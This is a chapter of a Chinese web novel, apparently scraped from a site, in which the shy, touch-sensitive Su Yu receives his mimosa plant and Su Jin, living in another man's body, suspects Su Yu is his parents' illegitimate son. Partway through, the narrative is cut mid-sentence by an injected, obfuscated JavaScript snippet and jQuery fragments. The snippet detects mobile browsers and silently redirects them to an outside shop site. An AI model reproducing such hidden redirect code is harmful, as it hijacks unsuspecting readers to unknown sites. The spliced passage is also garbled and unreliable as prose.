房门关上,苏瑜回到屋内,靠在门板上,缓缓低头看向自己的手。
刚刚被碰到的地方还残留着一点奇怪的感觉。他抿了抿唇,转身走进卫生间。
水龙头打开,任由冰凉的水流漫过指尖,又从指缝间流走。冲了好一会儿,那点异样感才渐渐散去。
苏瑜抬头和镜子里的自己对上视线。
他从小就这样。皮肤天生比旁人敏感,一点点触碰或是一点点温差,都会被他放大成很明显的感受。
最常见的就是当别人主动碰他的时候,他的皮肤会控制不住的发烫,严重的时候,会条件反射的躲开。
苏瑜也不知道是好是坏,这么多年过去,他早就习惯了避开不必要的肢体接触。好在他这个性格,平时也没有人会离他太近。
不过奇怪的是,如果是他主动碰别人,反而不会有什么反应。
小时候他还为此困惑很长一段时间。后来才慢慢发现,大概只有在自己毫无防备的情况下,那种过于敏锐的感知才会被无限放大。
所以换句话说,只要是提前做好心理准备的接触,他都能接受。
刚刚迟家树碰他的那一下太突然,苏瑜也没想到自己会有那么大反应。
擦干手,苏瑜又想起落在苏家的那盆含羞草,于是拿起手机拨通了司机李叔的电话,请他这两天找时间给自己送过来。
李叔说现在就能送,苏瑜刚要说好,又突然想起什么:“还是等晚上它叶片闭合以后再送吧。”
白天搬来搬去,再加路上颠簸,不免会碰到叶子。苏瑜自那次荒唐的梦后,对这盆含羞草是要多小心有多小心,能不碰就不碰。
李叔倒也没多问,一口应了下来。
算算时间,这盆含羞草已经养了快一年了,如今已长得郁郁葱葱,枝叶舒展,又安稳地熬过了去年冬天。
时间过得太快,苏瑜的日记本已经写完了一本,换了新的。有时候他都有些恍惚,到底是自己在照顾这盆含羞草,还是它在一直陪着自己。
傍晚的时候,苏瑾从长瑞花园那边回来。心里揣着一堆感慨,脚步沉沉地走进小区大门。
刚把车停好,就见苏瑜站在楼下一辆黑色轿车旁,一位穿着体面的司机模样的中年男人,正从后备箱里搬出一个花盆,动作小心翼翼。
苏瑾视线扫过那轿车的车牌号,顿时愣在原地。
这车他认识,不仅认识,甚至可以说是相当熟悉。再看那中年男人,面相和善,可不就是苏家的司机李叔。
苏瑾:“……”
那些零零散散的巧合和线索忽然就串成了一条线。他之前还觉得自己的猜测太离谱,现在看来,好像也没那么离谱。
苏瑾轻轻吸了口气,心情复杂。
行,这下算是彻底对上了,以后不用再拐弯抹角地问了。
小区内路灯亮起,暖黄色的光落在苏瑜身上,依旧是那副安安静静、乖顺讨喜的模样,倒真是没露出半点破绽。
苏瑾上辈子活了二十多年,从来不知道有这么一个人的存在。看苏瑜的年纪,恐怕在自己还是几岁小孩的时候,这个人就已经出生了。
也就是说,过去那些年,父母究竟发生过什么,他这个做儿子的竟然毫不知情,更不知道是谁对不起谁。
一想到这层,苏瑾心里那点情绪又跟着变了味,隐隐掺上了几分说不清对谁的怨气。
偏偏这火又没地方发,总不能冲着苏瑜去。毕竟真要说起来,出生这种事,又不是孩子自己能选的。
苏瑾看着他,一时说不清是厌恶还是悲哀,只知道自己气得牙根都有点痒。
苏瑜正抱着花盆,低声和李叔道谢,满心注意力都在那含羞草上,根本没发现不远处苏瑾正望着他的身影。
苏瑾看着他,忽然就想起了苏瑜平日那副小心翼翼的模样,还有他下意识把责任往自己身上揽的习惯。
性格和习惯的养成不是一天两天的。如果真如苏瑾猜的那样,那这些年,这小孩恐怕过得也没多好,毕竟私生子的身份摆在那儿,生活自然是要比旁人如履薄冰一些。
如此想着,苏瑾心里那点火气又莫名消了大半,取而代之的是一种同病相怜的怅然。
因为苏瑾想到了自己。准确的说,是想到了迟家树。
尤其是他下午去过长瑞花园以后。那公寓里残留的生活痕迹,无一不让他清楚地意识到,迟家树并不只是一个名字。
在他重生之前,那个人也曾真实的活过二十多年。有自己的朋友、学业、爱好、习惯,还有那么多不可磨灭的过去。
而如今自己却顶着他的身份,顺理成章地接过了原本属于迟家树的人生。
一想起这些,苏瑾总会生出几分歉意,说愧疚倒也谈不上,可也没办法真正做到心安理得地顶着一具不属于自己的身体,在所有人面前扮演“迟家树”的角色。
所以某种意义上,他觉得自己和苏瑜还真有点像。
两个人各怀秘密,一个不敢说破身世,一个不敢承认身份,谁也没比谁坦荡。
苏瑾定了定神,收起脑子里那些乱七八糟的念头,装作若无其事地走近。
苏瑜听见脚步声,抬头看见他,礼貌的打了声招呼:“迟哥。”
苏瑾没什么情绪地“嗯”了一声。
李叔客气地朝苏瑾点点头,又转头对苏瑜说:“小少爷,那我先回去了。”
“好。”苏瑜嘱咐说,“李叔叔路上小心。”
苏瑾抬脚迈进单元门时,正听见那句“小少爷”,心里那股没地发泄的火气又冒了出来,按电梯按钮的力度都重了几分。
他现在头疼的很,一点也不想看见苏瑜。最好电梯立刻下来,让他一个人上楼冷静冷静。
可惜这栋楼的电梯显然没那么善解人意,楼层数字慢吞吞地往下跳,中间还停了一层。
苏瑾站在门口等着,心里越来越烦。身后传来脚步声,不用回头都知道是谁。
苏瑜抱着那盆草走了进来。两人一左一右站在电梯门前谁都没有先开口,气氛安静得有些诡异。
苏瑜偷偷觑了苏瑾一眼,总觉得房东先生似乎有点不高兴,眉眼间没了那副懒散松快的样子,看上去心事重重的。
可他仔细回想了一遍,中午吃饭的时候还好好的,难道是下午发生了什么事?
正想着,就听“叮——”的一声,电梯终于到了。
门开,一只体型巨大的阿拉斯加犬突然冲了出来,身后的牵着狗绳的主人也被猛地拽了一个踉跄。
“诶——!”主人惊呼了一声。
狭窄的电梯口顿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840608|211632||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时乱作一团。那狗兴奋地往外跑,颇有脱缰野马之势。苏瑜下意识闪身避让,可空间实在太小,慌乱间,他的肩膀直接撞上旁边的人。
苏瑾也被这突如其来的动静惊了一下,几乎是本能地伸手,稳稳扶住他的肩膀。
“小心。”
隔着一层衣服布料,温热的触感猝不及防地贴上来,苏瑜又闻到了那股淡淡的药香味,身体瞬间僵住,连呼吸都滞了一息。
“对不起,对不起。”
那阿拉斯加的主人一边匆忙道歉,一边被狗拽着仓皇跑远。电梯门口重新恢复安静。
苏瑾这才察觉到指尖触碰的地方,绷得有些僵硬,苏瑜的表情也很不自然的样子。
他松开手问:“没事吧?”
苏瑜低着头,抱着花盆的手指节微微泛白,声音也有些发紧:“没,没事。”
两人一前一后走进电梯,电梯门缓缓合上,狭小的空间只剩电梯运转的轻微嗡鸣声。
苏瑜抱着含羞草站在角落,刚才撞到的地方控制不住的开始发热,那滚烫的感觉像是黏在了皮肤上,怎么也散不掉。
灯光照在那含羞草上,在电梯内壁映出一片浓绿。苏瑾这才注意到苏瑜怀里抱着的那盆植物,目光微微一顿,有些诧异地回头。
“你养的……是含羞草?”
苏瑜低头看了一眼垂落蜷缩的含羞草,应了一声:“是。”
苏瑾盯着那盆草,眯了眯眼睛:“怎么想着养含羞草的?”
“因为……喜欢。”
又是喜欢。苏瑾心里那根紧绷的弦,仿佛被轻轻拨了一下。
如果他的猜测是真的,这个孩子真的是父母的私生子。那么同是苏家人,学一样的专业,看一样的书,如今连养的花都一样……
一个荒唐又尖锐的念头猛地从苏瑾脑海里窜出来——这孩子不会是因为知道自己的存在,才处处照着他生前的样子活的吧?
可如果真是这样,他又图什么呢?
苏瑾盯着缓缓上升的楼层,努力把心里那点疑惑和烦躁压下去。
他不敢问,也不想问。不管答案是什么,他都不确定自己听完还能保持面上的平静。
何况他现在实在不知道该用什么样的态度面对苏瑜,垂下眼没再接话。
与此同时,他也没注意到,角落里的苏瑜又偷偷看了他几眼,似乎想说什么,但最后还是抱紧了怀里的花盆,往电梯内侧安静地缩了缩。
电梯到了,门缓缓打开。
苏瑾先走出去,径直走到自家门前,准备拿钥匙开门。
身后忽然传来声音:“迟哥。”
他动作一顿,回头。
苏瑜站在对面,怀里的含羞草微微晃动着,他似乎犹豫了一下,才轻声开口:“如果遇到不开心的事……早点睡一觉会好很多。”
“明天说不定,就没那么难受了。”
苏瑾微微一怔,显然没想到他会突然来这么一句:“你——”
苏瑜已经避开他的视线,匆匆低下头,声音更轻了:“我随便说的。”
说完,像是怕自己打扰他,急急地打开房门:“晚安,迟哥。”
房门轻轻合上,走廊里重新安静下来,墙上的时针转过一圈又一圈。
苏瑾彻夜无眠。